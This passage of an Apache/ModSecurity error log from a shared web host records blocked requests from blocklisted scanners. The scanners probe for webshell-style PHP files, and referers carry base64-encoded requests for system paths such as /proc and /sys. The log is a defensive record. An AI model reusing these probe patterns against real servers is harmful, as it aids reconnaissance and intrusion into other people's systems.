2026] [security2:error] [pid 531797:tid 532093] [client 172.171.3.232:62955] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/x123.php"] [unique_id "ai3w-cTA7b1mZrmcA-8RewAAAnI"] [Sat Jun 13 18:08:25.350457 2026] [access_compat:error] [pid 531797:tid 531878] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvcGVybDU= [Sat Jun 13 18:08:25.350763 2026] [access_compat:error] [pid 531797:tid 531878] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvcGVybDU= [Sat Jun 13 18:08:25.486053 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.28:20048] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:25.486326 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.28:20048] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:25.635219 2026] [security2:error] [pid 531155:tid 531342] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/Zend/tests/errmsg_003.phpt"] [unique_id "ai3w-SmiP80klyS0NnrqhgAAAUM"] [Sat Jun 13 18:08:25.724595 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.33:55045] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:25.724931 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.33:55045] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:25.767517 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:08:25.767988 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:08:25.815433 2026] [access_compat:error] [pid 531155:tid 531238] [remote 57.141.14.61:58244] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:25.815726 2026] [access_compat:error] [pid 531155:tid 531238] [remote 57.141.14.61:58244] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:25.831854 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvODExMDAxL2N3ZC9kZXY= [Sat Jun 13 18:08:25.832139 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvODExMDAxL2N3ZC9kZXY= [Sat Jun 13 18:08:25.904123 2026] [security2:error] [pid 531155:tid 531236] [remote 17.22.245.133:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-SmiP80klyS0NnrqjwABJFA"] [Sat Jun 13 18:08:25.932398 2026] [access_compat:error] [pid 531797:tid 531981] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMjM5MDg4 [Sat Jun 13 18:08:25.932840 2026] [access_compat:error] [pid 531797:tid 531981] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMjM5MDg4 [Sat Jun 13 18:08:25.939874 2026] [security2:error] [pid 531797:tid 531891] [remote 17.246.23.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-cTA7b1mZrmcA-8RlwACIhs"] [Sat Jun 13 18:08:25.941594 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.38:40345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:25.941907 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.38:40345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:25.975889 2026] [security2:error] [pid 531797:tid 531883] [remote 17.246.23.216:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-cTA7b1mZrmcA-8RmwACWxM"] [Sat Jun 13 18:08:26.157110 2026] [security2:error] [pid 531797:tid 532098] [client 191.233.234.186:60629] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/s-axi.php"] [unique_id "ai3w-sTA7b1mZrmcA-8RogAAAnc"] [Sat Jun 13 18:08:26.291926 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:08:26.292377 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:08:26.356381 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvODExMDAxL2N3ZC9kZXY= [Sat Jun 13 18:08:26.356853 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvODExMDAxL2N3ZC9kZXY= [Sat Jun 13 18:08:26.426899 2026] [access_compat:error] [pid 531797:tid 531948] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:08:26.427189 2026] [access_compat:error] [pid 531797:tid 531948] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:08:26.444591 2026] [security2:error] [pid 531797:tid 532032] [client 172.171.3.232:45314] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/raw.php"] [unique_id "ai3w-sTA7b1mZrmcA-8RrAAAAjc"] [Sat Jun 13 18:08:26.810314 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.74:52074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:26.810603 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.74:52074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:26.815707 2026] [security2:error] [pid 531797:tid 531950] [remote 17.246.15.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-sTA7b1mZrmcA-8RuQACMVY"] [Sat Jun 13 18:08:26.821361 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Mi9wb3dlcg== [Sat Jun 13 18:08:26.821659 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Mi9wb3dlcg== [Sat Jun 13 18:08:26.900215 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvODExMDAxL2N3ZC9kZXY= [Sat Jun 13 18:08:26.900679 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvODExMDAxL2N3ZC9kZXY= [Sat Jun 13 18:08:26.915708 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.99:63138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:26.916125 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.99:63138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:26.985851 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:08:26.986285 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:08:27.123580 2026] [security2:error] [pid 531797:tid 531962] [remote 17.246.23.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-8TA7b1mZrmcA-8RzgACi2I"] [Sat Jun 13 18:08:27.166568 2026] [security2:error] [pid 531155:tid 531362] [client 172.171.3.232:22069] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/22name.php"] [unique_id "ai3w-ymiP80klyS0NnrqrAAAAVc"] [Sat Jun 13 18:08:27.320530 2026] [security2:error] [pid 531797:tid 532053] [client 172.171.3.232:36100] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/themes4.php"] [unique_id "ai3w-8TA7b1mZrmcA-8R1AAAAks"] [Sat Jun 13 18:08:27.367996 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.69:50028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:27.368269 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.69:50028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:27.371696 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNDExODg1L2F0dHI= [Sat Jun 13 18:08:27.371991 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNDExODg1L2F0dHI= [Sat Jun 13 18:08:27.375302 2026] [security2:error] [pid 531797:tid 531879] [remote 17.241.75.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-8TA7b1mZrmcA-8R2QACQQ8"] [Sat Jun 13 18:08:27.437049 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:27.437326 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:27.443017 2026] [security2:error] [pid 531155:tid 531307] [client 191.234.188.123:64600] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/HLA-dd.php"] [unique_id "ai3w-ymiP80klyS0NnrqswAAASA"] [Sat Jun 13 18:08:27.499774 2026] [access_compat:error] [pid 531797:tid 531899] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:27.500217 2026] [access_compat:error] [pid 531797:tid 531899] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:27.519995 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.68:47140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:27.520308 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.68:47140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:27.876770 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:08:27.877031 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:08:27.884609 2026] [security2:error] [pid 531797:tid 532097] [client 20.151.217.54:15328] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/s-axi.php"] [unique_id "ai3w-8TA7b1mZrmcA-8R6gAAAnY"] [Sat Jun 13 18:08:27.920158 2026] [security2:error] [pid 531797:tid 531990] [remote 17.246.23.246:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 246.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-8TA7b1mZrmcA-8R7gACZX0"] [Sat Jun 13 18:08:27.941368 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.31:47740] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:27.941648 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.31:47740] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:27.954798 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:27.955084 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:27.968548 2026] [security2:error] [pid 531155:tid 531350] [client 191.234.188.123:30698] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/super.php"] [unique_id "ai3w-ymiP80klyS0NnrquwAAAUs"] [Sat Jun 13 18:08:28.022636 2026] [security2:error] [pid 531797:tid 531909] [remote 17.22.245.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file 